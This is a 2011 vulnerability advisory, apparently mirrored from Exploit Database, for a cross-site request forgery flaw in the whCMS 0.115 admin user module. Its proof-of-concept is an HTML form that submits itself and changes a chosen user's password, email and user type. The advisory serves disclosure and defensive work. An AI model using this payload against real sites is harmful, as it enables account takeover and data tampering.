whCMS 0.115 – Cross-Site Request Forgery

• Exploit Database
• 6 阅读

• 作者： High-Tech Bridge SA
  日期： 2011-01-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/15971/

• Vulnerability ID: HTB22767
  Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_whcms.html
  Product: whCMS
  Vendor: Joram van den Boezem ( http://whcms.burolaga.nl/ ) 
  Vulnerable Version: 0.115 alpha and probably prior versions
  Vendor Notification: 28 December 2010 
  Vulnerability Type: CSRF (Cross-Site Request Forgery)
  Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
  Risk level: Low 
  Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 
  
  Vulnerability Details:
  The vulnerability exists due to failure in the "modules/user/user.admin.php" script to properly verify the source of HTTP request.
  
  Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
  
  Attacker can use browser to exploit this vulnerability. The following PoC is available:
  
  <form action="http://host/admin/index.php?module=user&task=save&elmid=" method="post" name="main">
  <input type="hidden" name="id" value="USER_ID">
  <input type="hidden" name="module" value="100">
  <input type="hidden" name="newpass1" value="newpass">
  <input type="hidden" name="newpass2" value="newpass">
  <input type="hidden" name="email" value="email2@example.com">
  <input type="hidden" name="usertype_id" value="2">
  </form>
  <script>
  document.main.submit();
  </script>